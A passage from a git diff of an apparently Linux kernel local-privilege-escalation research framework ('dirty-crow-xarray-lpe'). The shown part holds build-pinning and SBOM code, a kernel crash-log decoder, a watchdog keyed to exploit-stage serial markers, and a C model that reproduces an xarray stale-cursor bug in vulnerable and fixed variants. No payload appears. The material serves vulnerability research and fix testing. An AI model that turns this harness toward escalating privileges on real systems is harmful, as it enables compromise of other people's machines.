str(kernel_container.get("sha256", "")) + actual_container_hash = ( + _sha256(container_file) if container_file.is_file() else None + ) + full_commit = re.compile(r"[0-9a-f]{40}") + semantic_version = re.compile(r"\d+\.\d+(?:\.\d+)?") + python_versions = python.get("ci_versions") + digest = re.compile(r"sha256:[0-9a-f]{64}") + exact_packages = linux_build.get("packages") + checks = { + "dependency_lock_exists": dependency_lock.is_file(), + "dependency_lock_hash_matches": actual_dependency_hash == expected_dependency_hash, + "kernel_commit_pinned": full_commit.fullmatch( + str(kernel.get("commit", "")) + ) is not None, + "syzkaller_commit_pinned": full_commit.fullmatch( + str(syzkaller.get("commit", "")) + ) is not None, + "source_date_epoch_pinned": isinstance(kernel.get("source_date_epoch"), int), + "uv_version_pinned": semantic_version.fullmatch( + str(python.get("resolver", {}).get("version", "")) + ) is not None, + "python_matrix_pinned": isinstance(python_versions, list) + and bool(python_versions) + and len(python_versions) == len(set(map(str, python_versions))) + and all( + re.fullmatch(r"\d+\.\d+", str(version)) is not None + for version in python_versions + ), + "linux_build_tools_pinned": all( + semantic_version.fullmatch(str(linux_build.get(field, ""))) + is not None + for field in ( + "native_gcc", + "native_clang", + "aarch64_cross_gcc", + "riscv64_cross_gcc", + "binutils", + "cpio", + "musl", + "busybox", + ) + ), + "linux_packages_pinned": isinstance(exact_packages, dict) + and bool(exact_packages) + and all( + isinstance(name, str) + and bool(name) + and isinstance(version, str) + and bool(version) + for name, version in exact_packages.items() + ), + "rootfs_tools_pinned": all( + isinstance(rootfs.get(field), str) and bool(rootfs.get(field)) + for field in ("format", "busybox_package", "busybox_version", "cpio_version") + ) + and isinstance(rootfs.get("source_date_epoch"), int), + "kernel_container_exists": container_file.is_file(), + "kernel_container_hash_matches": ( + actual_container_hash == expected_container_hash + ), + "kernel_container_base_pinned": digest.fullmatch( + str(kernel_container.get("base_digest", "")) + ) + is not None, + "debian_snapshot_pinned": re.fullmatch( + r"\d{8}T\d{6}Z", + str(kernel_container.get("debian_snapshot", "")), + ) + is not None, + "ci_actions_pinned": bool(ci_actions) + and all( + full_commit.fullmatch(str(commit)) is not None + for commit in ci_actions.values() + ), + "signing_tool_pinned": ( + signing.get("implementation") == "minisign" + and semantic_version.fullmatch( + str(signing.get("version", "")) + ) + is not None + and signing.get("format") == "Ed25519" + and signing.get("offline_verification") is True + ), + "qemu_versions_pinned": all( + semantic_version.fullmatch(str(qemu.get(field, ""))) is not None + for field in ( + "windows_x86_geometry_version", + "wsl_cross_geometry_version", + "confirmed_release_evidence_version", + ) + ), + } + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow toolchain lock verification", + "passed": all(checks.values()), + "lock": str(lock_path), + "lock_sha256": _sha256(lock_path), + "checks": checks, + "dependency_lock": { + "path": str(dependency_lock), + "expected_sha256": expected_dependency_hash, + "actual_sha256": actual_dependency_hash, + }, + "kernel_build_container": { + "path": str(container_file), + "expected_sha256": expected_container_hash, + "actual_sha256": actual_container_hash, + "base_image": kernel_container.get("base_image"), + "base_digest": kernel_container.get("base_digest"), + "debian_snapshot": kernel_container.get("debian_snapshot"), + }, + "pins": { + "kernel_commit": kernel.get("commit"), + "syzkaller_commit": syzkaller.get("commit"), + "python_versions": python.get("ci_versions"), + "ci_actions": ci_actions, + "rootfs": rootfs, + "containers": containers, + "signing": signing, + "qemu": qemu, + }, + "boundary": "Verification checks immutable identifiers and dependency bytes; installed host tools are checked separately by execution environments.", + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report + + +def _source_inventory( + root: Path, excluded: set[Path] +) -> list[dict[str, object]]: + ignored = { + ".git", + ".venv", + "__pycache__", + "build", + "graphify-out", + "release", + "releases", + } + rows: list[dict[str, object]] = [] + for path in sorted(root.rglob("*")): + if ( + not path.is_file() + or path.resolve() in excluded + or any(part in ignored for part in path.relative_to(root).parts) + ): + continue + relative = path.relative_to(root).as_posix() + rows.append( + { + "path": relative, + "sha256": _sha256(path), + "size": path.stat().st_size, + } + ) + return rows + + +def generate_supply_chain_metadata( + lock_path: Path, + root: Path, + sbom_path: Path, + provenance_path: Path, +) -> dict[str, object]: + root = root.resolve(strict=True) + verification = verify_toolchain_lock(lock_path, root) + if not verification["passed"]: + raise ValueError("toolchain lock verification failed") + lock_path = lock_path.resolve(strict=True) + sbom_path = sbom_path.resolve() + provenance_path = provenance_path.resolve() + if sbom_path == provenance_path: + raise ValueError("SBOM and provenance outputs must differ") + sbom_path.parent.mkdir(parents=True, exist_ok=True) + provenance_path.parent.mkdir(parents=True, exist_ok=True) + + lock = json.loads(lock_path.read_text(encoding="utf-8")) + inventory = _source_inventory( + root, {sbom_path, provenance_path} + ) + inventory_payload = json.dumps( + inventory, sort_keys=True, separators=(",", ":") + ).encode() + source_digest = hashlib.sha256(inventory_payload).hexdigest() + epoch = int(lock["kernel"]["source_date_epoch"]) + created = datetime.fromtimestamp( + epoch, tz=timezone.utc + ).isoformat().replace("+00:00", "Z") + + package_rows = [ + { + "SPDXID": "SPDXRef-Package-Dirty-Crow", + "name": "dirty-crow-framework", + "versionInfo": "0.1.0", + "downloadLocation": "NOASSERTION", + "filesAnalyzed": True, + "licenseConcluded": "NOASSERTION", + "licenseDeclared": "NOASSERTION", + "copyrightText": "NOASSERTION", + } + ] + for index, (name, version) in enumerate( + sorted(lock["linux_build"]["packages"].items()) + ): + package_rows.append( + { + "SPDXID": f"SPDXRef-Package-Tool-{index}", + "name": name, + "versionInfo": version, + "downloadLocation": ( + "https://snapshot.debian.org/archive/debian/" + f"{lock['containers']['kernel_build']['debian_snapshot']}/" + ), + "filesAnalyzed": False, + "licenseConcluded": "NOASSERTION", + "licenseDeclared": "NOASSERTION", + "copyrightText": "NOASSERTION", + } + ) + spdx_files = [ + { + "SPDXID": f"SPDXRef-File-{index}", + "fileName": row["path"], + "checksums": [ + { + "algorithm": "SHA256", + "checksumValue": row["sha256"], + } + ], + "licenseConcluded": "NOASSERTION", + "copyrightText": "NOASSERTION", + } + for index, row in enumerate(inventory) + ] + sbom: dict[str, object] = { + "spdxVersion": "SPDX-2.3", + "dataLicense": "CC0-1.0", + "SPDXID": "SPDXRef-DOCUMENT", + "name": "dirty-crow-framework-source", + "documentNamespace": ( + "https://dirty-crow.invalid/spdx/" + source_digest + ), + "creationInfo": { + "created": created, + "creators": ["Tool: dirtycrow-toolchain"], + }, + "documentDescribes": ["SPDXRef-Package-Dirty-Crow"], + "packages": package_rows, + "files": spdx_files, + "relationships": [ + { + "spdxElementId": "SPDXRef-Package-Dirty-Crow", + "relationshipType": "CONTAINS", + "relatedSpdxElement": row["SPDXID"], + } + for row in spdx_files + ], + "annotations": [ + { + "annotationDate": created, + "annotationType": "OTHER", + "annotator": "Tool: dirtycrow-toolchain", + "comment": ( + "Source SBOM; generated build outputs and graph caches " + "are excluded." + ), + } + ], + } + + materials = [ + { + "uri": lock["kernel"]["repository"], + "digest": {"gitCommit": lock["kernel"]["commit"]}, + }, + { + "uri": lock["syzkaller"]["repository"], + "digest": {"gitCommit": lock["syzkaller"]["commit"]}, + }, + { + "uri": lock["containers"]["kernel_build"]["base_image"], + "digest": { + "sha256": lock["containers"]["kernel_build"][ + "base_digest" + ].removeprefix("sha256:") + }, + }, + { + "uri": lock["python"]["lock_file"], + "digest": {"sha256": lock["python"]["lock_file_sha256"]}, + }, + { + "uri": lock["containers"]["kernel_build"]["file"], + "digest": { + "sha256": lock["containers"]["kernel_build"]["sha256"] + }, + }, + ] + provenance: dict[str, object] = { + "_type": "https://in-toto.io/Statement/v1", + "subject": [ + { + "name": "dirty-crow-framework-source", + "digest": {"sha256": source_digest}, + } + ], + "predicateType": "https://slsa.dev/provenance/v1", + "predicate": { + "buildDefinition": { + "buildType": ( + "https://dirty-crow.invalid/build-types/" + "reproducible-input-set/v1" + ), + "externalParameters": { + "kernel_ref": lock["kernel"]["ref"], + "source_date_epoch": epoch, + }, + "internalParameters": { + "toolchain_lock_sha256": verification["lock_sha256"] + }, + "resolvedDependencies": materials, + }, + "runDetails": { + "builder": {"id": "https://dirty-crow.invalid/toolchain/v1"}, + "metadata": { + "invocationId": source_digest, + "startedOn": created, + "finishedOn": created, + }, + }, + }, + } + write_json_atomic(sbom_path, sbom) + write_json_atomic(provenance_path, provenance) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow supply-chain metadata generation", + "passed": True, + "source_file_count": len(inventory), + "source_manifest_sha256": source_digest, + "sbom": { + "path": str(sbom_path), + "sha256": _sha256(sbom_path), + "format": "SPDX-2.3", + }, + "provenance": { + "path": str(provenance_path), + "sha256": _sha256(provenance_path), + "format": "in-toto/SLSA provenance v1", + }, + "boundary": ( + "The provenance authenticates pinned build inputs; it does not " + "claim a kernel binary was built in this invocation." + ), + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/trace.py b/dirty-crow-xarray-lpe/framework/dirtycrow/trace.py new file mode 100644 index 0000000..75ae740 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/trace.py @@ -0,0 +1,331 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import re +import shutil +import subprocess +from typing import Iterable + +_TIMESTAMP = re.compile(r"^\[\s*(?P\d+(?:\.\d+)?)\]\s*") +_INCIDENT_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = ( + ("kasan", re.compile(r"\bKASAN:\s")), + ("kfence", re.compile(r"\bKFENCE:\s")), + ("ubsan", re.compile(r"\bUBSAN:\s")), + ("bug", re.compile(r"(?:^|\s)(?:BUG:|kernel BUG at\s)")), + ("warning", re.compile(r"(?:^|\s)WARNING:\s")), + ("oops", re.compile(r"(?:^|\s)Oops:\s")), + ("panic", re.compile(r"(?:Kernel panic|^panic:)")), + ("bad_page", re.compile(r"(?:Bad page state|Bad page map|bad pmd)", re.I)), + ("fault", re.compile(r"(?:general protection fault|unable to handle (?:kernel )?page fault)", re.I)), + ("lockup", re.compile(r"(?:soft lockup|hard LOCKUP)", re.I)), +) +_FRAME = re.compile( + r"(?:(?:RIP|IP):\s*(?:[0-9a-f]{4}:)?\s*)?" + r"(?P[A-Za-z_][A-Za-z0-9_.$]*)" + r"\+0x(?P[0-9a-fA-F]+)/0x(?P[0-9a-fA-F]+)" +) +_RAW_ADDRESS = re.compile(r"\[<(?P
[0-9a-fA-F]{8,16})>\]") +_MARKER = re.compile(r"\b(?PBARRIER_STAGE_BLOCKED|BARRIER_STAGE_COMPLETED|DIRTY_CROW_[A-Z0-9_]+)(?P.*)$") +_HEX = re.compile(r"\b(?:0x)?[0-9a-fA-F]{8,16}\b") +_DECIMAL = re.compile(r"\b\d+\b") + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +def _canonical_sha256(payload: dict[str, object]) -> str: + canonical = json.dumps(payload, sort_keys=True, separators=(",", ":")).encode() + return _sha256(canonical) + + +def _strip_timestamp(line: str) -> tuple[float | None, str]: + match = _TIMESTAMP.match(line) + if match is None: + return None, line + return float(match.group("seconds")), line[match.end() :] + + +def _signature(category: str, message: str) -> str: + normalized = _HEX.sub("", message) + normalized = _DECIMAL.sub("", normalized) + normalized = " ".join(normalized.split()) + return f"{category}:{normalized}" + + +def _parse_marker_fields(fields: str) -> dict[str, object]: + parsed: dict[str, object] = {} + for token in fields.split(): + if "=" not in token: + continue + key, value = token.split("=", 1) + if re.fullmatch(r"0x[0-9a-fA-F]+", value): + parsed[key] = int(value, 16) + elif re.fullmatch(r"-?\d+", value): + parsed[key] = int(value) + else: + parsed[key] = value + return parsed + + +def _load_system_map(path: Path | None) -> dict[str, int]: + if path is None: + return {} + symbols: dict[str, int] = {} + for line in path.read_text(encoding="utf-8", errors="replace").splitlines(): + fields = line.split() + if len(fields) >= 3 and re.fullmatch(r"[0-9a-fA-F]+", fields[0]): + symbols.setdefault(fields[2], int(fields[0], 16)) + return symbols + + +def _symbolize_address( + executable: str, + vmlinux: Path, + address: int, +) -> dict[str, object] | None: + result = subprocess.run( + [executable, "-f", "-C", "-e", str(vmlinux), hex(address)], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + ) + if result.returncode: + return None + lines = result.stdout.splitlines() + if len(lines) < 2 or lines[0] in {"??", "?"}: + return None + location = lines[1] + return { + "function": lines[0], + "location": None if location.startswith("??") else location, + } + + +def _decode_log( + path: Path, + system_symbols: dict[str, int], + symbolizer: str | None, + vmlinux: Path | None, +) -> dict[str, object]: + payload = path.read_bytes() + text = payload.decode("utf-8", errors="replace") + incidents: list[dict[str, object]] = [] + markers: list[dict[str, object]] = [] + frames: list[dict[str, object]] = [] + active_incident: dict[str, object] | None = None + boot = 0 + + for line_number, raw_line in enumerate(text.splitlines(), 1): + seconds, line = _strip_timestamp(raw_line) + if "Linux version " in line: + boot += 1 + active_incident = None + + marker = _MARKER.search(line) + if marker: + markers.append( + { + "line": line_number, + "boot": boot, + "time_seconds": seconds, + "kind": marker.group("kind"), + "fields": _parse_marker_fields(marker.group("fields")), + } + ) + + for category, pattern in _INCIDENT_PATTERNS: + if not pattern.search(line): + continue + active_incident = { + "category": category, + "line": line_number, + "boot": boot, + "time_seconds": seconds, + "message": line.strip(), + "signature": _signature(category, line), + "frames": [], + } + incidents.append(active_incident) + break + + frame_match = _FRAME.search(line) + raw_address_match = _RAW_ADDRESS.search(line) + if frame_match is None and raw_address_match is None: + continue + frame: dict[str, object] = { + "line": line_number, + "boot": boot, + "text": line.strip(), + } + address: int | None = None + if frame_match is not None: + symbol = frame_match.group("symbol") + offset = int(frame_match.group("offset"), 16) + frame.update( + { + "symbol": symbol, + "offset": offset, + "size": int(frame_match.group("size"), 16), + } + ) + if symbol in system_symbols: + address = system_symbols[symbol] + offset + if raw_address_match is not None: + address = int(raw_address_match.group("address"), 16) + if address is not None: + frame["address"] = address + if symbolizer is not None and vmlinux is not None: + resolution = _symbolize_address(symbolizer, vmlinux, address) + if resolution is not None: + frame["resolution"] = resolution + frames.append(frame) + if active_incident is not None: + incident_frames = active_incident["frames"] + assert isinstance(incident_frames, list) + incident_frames.append(frame) + + return { + "path": str(path), + "sha256": _sha256(payload), + "bytes": len(payload), + "line_count": len(text.splitlines()), + "boot_count": boot, + "incident_count": len(incidents), + "incidents": incidents, + "frame_count": len(frames), + "frames": frames, + "marker_count": len(markers), + "markers": markers, + } + + +def decode_kernel_logs( + log_paths: Iterable[Path], + *, + vmlinux: Path | None = None, + system_map: Path | None = None, + addr2line: str | None = None, +) -> dict[str, object]: + paths = [Path(path).resolve() for path in log_paths] + if not paths: + raise ValueError("at least one kernel log is required") + for path in paths: + if not path.is_file(): + raise FileNotFoundError(path) + + resolved_vmlinux = vmlinux.resolve() if vmlinux is not None else None + resolved_system_map = system_map.resolve() if system_map is not None else None + if resolved_vmlinux is not None and not resolved_vmlinux.is_file(): + raise FileNotFoundError(resolved_vmlinux) + if resolved_system_map is not None and not resolved_system_map.is_file(): + raise FileNotFoundError(resolved_system_map) + + symbolizer: str | None = None + if resolved_vmlinux is not None: + symbolizer = addr2line or shutil.which("addr2line") + if symbolizer is None: + raise ValueError("vmlinux symbolization requested but addr2line is unavailable") + symbols = _load_system_map(resolved_system_map) + logs = [ + _decode_log(path, symbols, symbolizer, resolved_vmlinux) for path in paths + ] + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow kernel trace and crash decode report", + "passed": True, + "clean": all(int(log["incident_count"]) == 0 for log in logs), + "logs": logs, + "summary": { + "log_count": len(logs), + "incident_count": sum(int(log["incident_count"]) for log in logs), + "frame_count": sum(int(log["frame_count"]) for log in logs), + "marker_count": sum(int(log["marker_count"]) for log in logs), + }, + "symbolization": { + "vmlinux": str(resolved_vmlinux) if resolved_vmlinux else None, + "system_map": str(resolved_system_map) if resolved_system_map else None, + "addr2line": symbolizer, + }, + "boundary": ( + "Signatures classify emitted kernel diagnostics and symbolize recorded " + "addresses. Absence of a diagnostic is not proof that a race is unreachable." + ), + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + return report + + +def collect_trace_snapshot( + tracefs: Path, + destination: Path, + kernel_logs: Iterable[Path] = (), +) -> dict[str, object]: + tracefs = tracefs.resolve() + destination = destination.resolve() + if not tracefs.is_dir(): + raise ValueError(f"not a tracefs directory: {tracefs}") + destination.mkdir(parents=True, exist_ok=True) + + trace_files = ( + "trace", + "current_tracer", + "trace_clock", + "set_ftrace_filter", + "set_event", + ) + artifacts: list[dict[str, object]] = [] + for name in trace_files: + source = tracefs / name + if not source.is_file(): + continue + payload = source.read_bytes() + target = destination / name + target.write_bytes(payload) + artifacts.append( + { + "kind": "tracefs", + "source": str(source), + "path": str(target), + "sha256": _sha256(payload), + "bytes": len(payload), + } + ) + if not any(artifact["source"] == str(tracefs / "trace") for artifact in artifacts): + raise FileNotFoundError(tracefs / "trace") + + for index, log_path in enumerate(kernel_logs): + source = Path(log_path).resolve() + payload = source.read_bytes() + target = destination / f"kernel-log-{index:02d}.log" + target.write_bytes(payload) + artifacts.append( + { + "kind": "kernel_log", + "source": str(source), + "path": str(target), + "sha256": _sha256(payload), + "bytes": len(payload), + } + ) + + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow trace snapshot manifest", + "passed": True, + "tracefs": str(tracefs), + "destination": str(destination), + "artifacts": artifacts, + "artifact_count": len(artifacts), + "boundary": "Snapshot collection does not enable tracing or alter tracefs controls.", + } + report["canonical_payload_sha256"] = _canonical_sha256(report) + (destination / "manifest.json").write_text( + json.dumps(report, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/v420_dax_transition.c b/dirty-crow-xarray-lpe/framework/dirtycrow/v420_dax_transition.c new file mode 100644 index 0000000..7cddeba --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/v420_dax_transition.c @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: GPL-2.0-only +#include +#include +#include +#include +#include +#include +#include + +#include "test.h" + +#define PMD_ORDER 9U +#define PMD_PAGES (1UL << PMD_ORDER) +#define SENTINEL_INDEX PMD_PAGES + +static void *store_order(struct xarray *xa, unsigned long index, + unsigned int order, void *entry) +{ + XA_STATE_ORDER(xas, xa, index, order); + void *old; + + do { + xas_lock(&xas); + old = xas_store(&xas, entry); + xas_unlock(&xas); + } while (xas_nomem(&xas, GFP_KERNEL)); + return old; +} + +static void must_store(struct xarray *xa, unsigned long index, void *entry) +{ + void *old = xa_store(xa, index, entry, GFP_KERNEL); + + if (xa_is_err(old) || old) { + fprintf(stderr, "store failed at %lu\n", index); + exit(2); + } +} + +int main(int argc, char **argv) +{ + unsigned long cursor, pte; + unsigned long total = 0, regressed = 0, skipped = 0; + unsigned long first_cursor = 0, first_pte = 0, first_observed = 0; + bool vulnerable, passed; + + if (argc != 2 || (strcmp(argv[1], "vulnerable") && + strcmp(argv[1], "fixed"))) { + fprintf(stderr, "usage: %s vulnerable|fixed\n", argv[0]); + return 2; + } + vulnerable = !strcmp(argv[1], "vulnerable"); + + rcu_register_thread(); + radix_tree_init(); + for (cursor = 1; cursor < PMD_PAGES; cursor++) { + for (pte = 0; pte < cursor; pte++) { + struct xarray xa; + XA_STATE(stale, &xa, cursor); + void *large = xa_mk_value(1); + void *entry; + + xa_init(&xa); + if (store_order(&xa, 0, PMD_ORDER, large)) { + fprintf(stderr, "ordered store replaced entry\n"); + return 2; + } + must_store(&xa, SENTINEL_INDEX, xa_mk_value(3)); + + rcu_read_lock(); + entry = xas_find(&stale, ULONG_MAX); + rcu_read_unlock(); + if (entry != large || stale.xa_index != cursor || + !stale.xa_node->shift) { + fprintf(stderr, + "failed to establish stale cursor=%lu\n", + cursor); + return 2; + } + + /* Model grab_mapping_entry()'s PMD-to-PTE downgrade. */ + xa_erase(&xa, pte); + must_store(&xa, pte, xa_mk_value(2)); + + rcu_read_lock(); + entry = xas_find(&stale, ULONG_MAX); + rcu_read_unlock(); + total++; + if (stale.xa_index < cursor) { + regressed++; + if (regressed == 1) { + first_cursor = cursor; + first_pte = pte; + first_observed = stale.xa_index; + } + } else if (entry == xa_mk_value(3) && + stale.xa_index == SENTINEL_INDEX) { + skipped++; + } else { + fprintf(stderr, + "unexpected cursor=%lu pte=%lu observed=%lu\n", + cursor, pte, stale.xa_index); + return 2; + } + xa_destroy(&xa); + } + } + + passed = vulnerable ? regressed > 0 && regressed + skipped == total + : regressed == 0 && skipped == total; + printf("{\"schema_version\":1,\"model\":\"v4.20_dax_pmd_to_pte\"," + "\"variant\":\"%s\",\"xa_chunk_shift\":%u," + "\"pmd_order\":%u,\"cases\":%lu,\"regressed_cases\":%lu," + "\"correctly_skipped_cases\":%lu,\"first_regression\":", + argv[1], XA_CHUNK_SHIFT, PMD_ORDER, total, regressed, skipped); + if (regressed) + printf("{\"cursor\":%lu,\"pte_index\":%lu," + "\"observed_index\":%lu}", first_cursor, first_pte, + first_observed); + else + printf("null"); + printf(",\"passed\":%s}\n", passed ? "true" : "false"); + + rcu_barrier(); + radix_tree_cpu_dead(1); + rcu_unregister_thread(); + return passed ? 0 : 1; +} diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/watchdog.py b/dirty-crow-xarray-lpe/framework/dirtycrow/watchdog.py new file mode 100644 index 0000000..091665a --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/watchdog.py @@ -0,0 +1,124 @@ +from __future__ import annotations + +import threading +from dataclasses import dataclass + +_DESTRUCTIVE_ACTIONS = frozenset({"legacy-trigger", "backstep-proof"}) + + +@dataclass(frozen=True) +class WatchdogDeadlines: + boot_seconds: int + trigger_seconds: int + serial_inactivity_seconds: int + post_primitive_seconds: int + + def record(self) -> dict[str, int]: + return { + "boot_seconds": self.boot_seconds, + "trigger_seconds": self.trigger_seconds, + "serial_inactivity_seconds": self.serial_inactivity_seconds, + "post_primitive_seconds": self.post_primitive_seconds, + } + + +class HostWatchdog: + """Thread-safe host deadline state derived from the guest serial stream.""" + + def __init__( + self, + deadlines: WatchdogDeadlines, + *, + total_seconds: int, + action: str, + started: float, + ) -> None: + self.deadlines = deadlines + self.total_seconds = total_seconds + self.action = action + self.started = started + self._lock = threading.Lock() + self._last_output: float | None = None + self._boot_activity: float | None = None + self._trigger_started: float | None = None + self._primitive_observed: float | None = None + self._recovery_requested: float | None = None + self._backend_stage_done: float | None = None + self._line_count = 0 + + def observe_line(self, line: bytes | str, now: float) -> None: + if isinstance(line, bytes): + text = line.decode("utf-8", errors="replace") + else: + text = line + if not text: + return + label = text.lstrip().partition(" ")[0].rstrip("\r\n") + with self._lock: + self._line_count += 1 + self._last_output = now + if self._boot_activity is None: + self._boot_activity = now + if label == "TRIGGER_START" and self._trigger_started is None: + self._trigger_started = now + elif label == "PAGE_TABLE_PRIMITIVE" and self._primitive_observed is None: + self._primitive_observed = now + elif label == "RECOVERY_ACTION" and self._recovery_requested is None: + self._recovery_requested = now + elif label == "EXPLOIT_STAGE_DONE" and self._backend_stage_done is None: + self._backend_stage_done = now + + def deadline_reason(self, now: float) -> str | None: + with self._lock: + if ( + self._primitive_observed is not None + and self._backend_stage_done is not None + ): + return "backend_returned_after_primitive" + if ( + self._primitive_observed is not None + and now - self._primitive_observed + >= self.deadlines.post_primitive_seconds + ): + return "post_primitive_deadline" + if now - self.started >= self.total_seconds: + return "total_deadline" + if ( + self._boot_activity is None + and now - self.started >= self.deadlines.boot_seconds + ): + return "boot_deadline" + if ( + self.action in _DESTRUCTIVE_ACTIONS + and self._boot_activity is not None + and self._trigger_started is None + and now - self._boot_activity >= self.deadlines.trigger_seconds + ): + return "trigger_deadline" + if ( + self._last_output is not None + and now - self._last_output + >= self.deadlines.serial_inactivity_seconds + ): + return "serial_inactivity_deadline" + return None + + def snapshot(self, now: float) -> dict[str, object]: + def elapsed(value: float | None) -> int | None: + if value is None: + return None + return round((value - self.started) * 1000) + + with self._lock: + return { + "line_count": self._line_count, + "boot_activity_ms": elapsed(self._boot_activity), + "trigger_started_ms": elapsed(self._trigger_started), + "primitive_observed_ms": elapsed(self._primitive_observed), + "recovery_requested_ms": elapsed(self._recovery_requested), + "backend_stage_done_ms": elapsed(self._backend_stage_done), + "last_output_ms": elapsed(self._last_output), + "observed_for_ms": round((now - self.started) * 1000), + "primitive_observed": self._primitive_observed is not None, + "recovery_requested": self._recovery_requested is not None, + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fake_urcu.c b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fake_urcu.c new file mode 100644 index 0000000..afab326 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fake_urcu.c @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: GPL-2.0-only +#include + +static struct rcu_head *first_callback; +static struct rcu_head **next_callback = &first_callback; + +void dirty_crow_call_rcu(struct rcu_head *head, + void (*func)(struct rcu_head *head)) +{ + head->next = 0; + head->func = func; + *next_callback = head; + next_callback = &head->next; +} + +void dirty_crow_rcu_barrier(void) +{ + while (first_callback) { + struct rcu_head *head = first_callback; + + first_callback = head->next; + if (!first_callback) + next_callback = &first_callback; + head->func(head); + } +} diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fix_benchmark.c b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fix_benchmark.c new file mode 100644 index 0000000..5f1b7ff --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/xarray_fix_benchmark.c @@ -0,0 +1,267 @@ +// SPDX-License-Identifier: GPL-2.0-only +#include +#include +#include +#include +#include +#include + +#include "test.h" + +#define ARRAY_ENTRIES 4096UL +#define PAGE_CACHE_PAGES 65536UL + +static volatile unsigned long benchmark_sink; + +static unsigned long elapsed_ns(const struct timespec *start, + const struct timespec *finish) +{ + return (unsigned long)(finish->tv_sec - start->tv_sec) * 1000000000UL + + (unsigned long)(finish->tv_nsec - start->tv_nsec); +} + +static void *store_order(struct xarray *xa, unsigned long index, + unsigned int order, void *entry) +{ + XA_STATE_ORDER(xas, xa, index, order); + void *current; + + do { + xas_lock(&xas); + current = xas_store(&xas, entry); + xas_unlock(&xas); + } while (xas_nomem(&xas, GFP_KERNEL)); + return current; +} + +static void must_store(struct xarray *xa, unsigned long index, void *entry) +{ + void *result = xa_store(xa, index, entry, GFP_KERNEL); + + if (xa_is_err(result)) { + fprintf(stderr, "xa_store failed at %lu: %d\n", index, + xa_err(result)); + exit(2); + } +} + +static unsigned long iterate_present(struct xarray *xa, unsigned int loops) +{ + unsigned long checksum = 0; + unsigned int loop; + + for (loop = 0; loop < loops; loop++) { + XA_STATE(xas, xa, 0); + void *entry; + + rcu_read_lock(); + xas_for_each(&xas, entry, ULONG_MAX) + checksum += xas.xa_index ^ xa_to_value(entry); + rcu_read_unlock(); + } + return checksum; +} + +static unsigned long iterate_marked(struct xarray *xa, unsigned int loops) +{ + unsigned long checksum = 0; + unsigned int loop; + + for (loop = 0; loop < loops; loop++) { + XA_STATE(xas, xa, 0); + void *entry; + + rcu_read_lock(); + xas_for_each_marked(&xas, entry, ULONG_MAX, XA_MARK_0) + checksum += xas.xa_index ^ xa_to_value(entry); + rcu_read_unlock(); + } + return checksum; +} + +static unsigned long page_cache_fault_lookups(struct xarray *xa, + unsigned int loops) +{ + unsigned long checksum = 0; + unsigned long state = 0x9e3779b9UL; + unsigned long count = (unsigned long)loops * ARRAY_ENTRIES; + unsigned long i; + + for (i = 0; i < count; i++) { + void *entry; + unsigned long index; + + state = state * 1664525UL + 1013904223UL; + index = state & (PAGE_CACHE_PAGES - 1); + rcu_read_lock(); + entry = xa_load(xa, index); + rcu_read_unlock(); + if (entry) + checksum += index ^ xa_to_value(entry); + } + return checksum; +} + +static unsigned long page_cache_scans(struct xarray *xa, unsigned int loops) +{ + unsigned long checksum = 0; + unsigned int loop; + + for (loop = 0; loop < loops; loop++) { + unsigned long first = (loop * 257UL) & (PAGE_CACHE_PAGES - 1); + unsigned long last = first + 1023UL; + XA_STATE(xas, xa, first); + void *entry; + + if (last >= PAGE_CACHE_PAGES) + last = PAGE_CACHE_PAGES - 1; + rcu_read_lock(); + xas_for_each(&xas, entry, last) + checksum += (xas.xa_index - first) ^ xa_to_value(entry); + rcu_read_unlock(); + } + return checksum; +} + +static unsigned long restart_bounded_lookups(struct xarray *xa, + unsigned int loops) +{ + unsigned long checksum = 0; + unsigned int loop; + + for (loop = 0; loop < loops; loop++) { + unsigned long first = (loop * 17UL) & (ARRAY_ENTRIES - 1); + unsigned long last = first + 127UL; + XA_STATE(xas, xa, first); + void *entry; + + entry = xas_find(&xas, last); + if (entry) + checksum += xas.xa_index ^ xa_to_value(entry); + xas_reset(&xas); + entry = xas_find(&xas, last); + if (entry) + checksum += xas.xa_index ^ xa_to_value(entry); + } + return checksum; +} + +typedef unsigned long (*benchmark_fn)(struct xarray *, unsigned int); + +static void run_case(const char *name, struct xarray *xa, + benchmark_fn function, unsigned int loops, unsigned int samples) +{ + unsigned int sample; + + benchmark_sink ^= function(xa, loops / 4 + 1); + for (sample = 0; sample < samples; sample++) { + struct timespec start; + struct timespec finish; + unsigned long checksum; + + clock_gettime(CLOCK_MONOTONIC, &start); + checksum = function(xa, loops); + clock_gettime(CLOCK_MONOTONIC, &finish); + benchmark_sink ^= checksum; + printf("{\"scenario\":\"%s\",\"sample\":%u," + "\"loops\":%u,\"elapsed_ns\":%lu," + "\"checksum\":%lu}\n", + name, sample, loops, elapsed_ns(&start, &finish), checksum); + } +} + +static void populate_single(struct xarray *xa) +{ + unsigned long index; + + for 